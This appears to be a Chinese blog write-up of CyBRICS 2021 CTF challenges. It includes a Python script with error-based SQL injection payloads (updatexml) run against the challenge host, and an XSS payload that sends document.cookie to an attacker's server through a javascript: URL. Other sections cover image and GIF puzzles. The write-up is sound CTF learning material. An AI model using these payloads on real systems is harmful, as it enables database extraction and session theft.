0%

CyBRICS2021

自己并没有做出来几题,全程被队员们带飞,虽然最后的成绩肯定比不上大佬们的战队,但还是玩的很开心

Web

Ad Network

左上角有一张图片,点击之后会不停地重定向,我们只需要修改浏览器的重定向次数,然后让浏览器一直跳就可以了:

image-20210726111802778

Announcement

注入点在email处,insert注入,左边的digest是email的md5:

img

简单的报错注入,因为不想频繁算md5,于是写了个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import hashlib
import re

session = requests.Session()

def genearteMD5(str):
# 创建md5对象
hl = hashlib.md5()
# Tips
# 此处必须声明encode
# 否则报错为:hl.update(str) Unicode-objects must be encoded before hashing
hl.update(str.encode(encoding='utf-8'))
return hl.hexdigest()

# 数据库 announcement
payload = "1'or updatexml(1,concat(0x7e,(database()),0x7e),1) or'"
# 表 emails,logs
payload = "'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='announcement'),0x7e),0) or'"
# 列 log
payload = "'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='logs'),0x7e),0) or'"
# 内容 cybrics{1N53r7_0ld_900d_5ql}
payload = "'or updatexml(1,concat(0x7e,(select group_concat(log) from logs),0x7e),0) or'"

print("payload: "+payload)
captcha = genearteMD5(payload)
print(captcha)

paramsPost = {"digest":captcha,"email":payload}
headers = {"Origin":"http://announcement-cybrics2021.ctf.su","Cache-Control":"max-age=0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36","Referer":"http://announcement-cybrics2021.ctf.su/","Connection":"close","Accept-Encoding":"gzip, deflate","Accept-Language":"zh-CN,zh;q=0.9","Content-Type":"application/x-www-form-urlencoded"}
response = session.post("http://announcement-cybrics2021.ctf.su/", data=paramsPost, headers=headers)

try:
print(re.search("XPATH syntax error: '(.*?)'",response.text).group())
except:
print(response.text)

Multichat

点开之后一个网络聊天界面,可以加入不同的room,根据题目描述,我们需要找到tech support和admin所在的房间号,然后向admin发送一段文字即可,所以现在的问题就是如何找到这个房间号,房间号的范围特别大,爆破是不可能爆破的了,还有一个技术支持界面跑在5000端口,点击电话图标即可跳转。

说实话不是很懂为什么技术支持要填url,但是题就这么出的,刚开始尝试自己的vps,但是一直没有log,然后又尝试填了xss平台的url,还是不行,最后填了pipedream的才终于可以。然后赛后听队友分享的时候发现大家都有发送成功的回显,而我虽然能收到请求,但是页面直接是502。。。自闭。。。接着也不知道该如何测试,后面问了队友才知道可以使用javascript:,然后就去google了一下,找到了一个有点关联的:Call Javascript function from URL/address bar - Stack Overflow,还有篇博客:一个神奇的Javascript运行方式–URL中的JavaScript - 程序员最后都要送外卖 - 博客园 (cnblogs.com)。大概意思就是在浏览器的地址栏中输入形如:javascript:XXX的语句的时候,浏览器会把后面的xxx当作js执行。这种方法只会被浏览器解释,其他的curl之类的好像不行,所以猜测后台有个bot模拟tech support把我们的url贴到浏览器跑?

所以我们可以使用payload:javascript:location.href='http://vps/?'+document.cookie来把cookie带出来。

然后得到房间号拿flag:

image-20210726120121867

img

Cyber and rebyC

Mic Check

签到其实挺有意思的,对前端不是很熟悉,具体不是很清楚怎么实现的,效果就是这段文字看起来是flag,但是直接复制的话是另一段假的flag,不过赛后没了,不然还能研究研究。

Scanner

挺好玩的一道题,用一张动图模拟扫描,然后让你认出这是啥,例如这个小房子:

vid

思路其实也很简单,只需要把gif一帧一帧拆成png然后再贴起来即可,考虑到,直接贴起来可能会有重复的部分,通过观察大概每隔一张贴起来比较合适,用pillow库写了个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import os
from PIL import Image
import requests

if __name__ == "__main__":
# 将gif分解成png
im = Image.open('vid.gif')
os.mkdir('src')
count = 0
try:
while True:
im.seek(count)
im.save('src/' + str(count) + '.png')
count = count + 1
except:
pass
print('帧数' + str(count))

# 将每张png合起来
target = Image.new('RGB',(1080,1606))
# 每隔一张图片,截取一定的部分,并且拼接起来
for i in range(0,145,2):
img = Image.open('src/'+ str(i) +'.png')
cropped = img.crop((0,496,1080,517))
target.paste(cropped,(0,i*11))
target.save("vid.png")

其实前四个是肉眼看出来的,然后第五个看不出来了,写了个脚本才发现是个二维码,最后扫码即可得到flag:

vid

CAPTCHA The Flag

刚开始没仔细看,居然不知道该咋做。。。其实很简单,只需要把图片扒拉下来,然后用StegSolve打开,调到特定的通道即可,类似这样子:

image-20210726125959718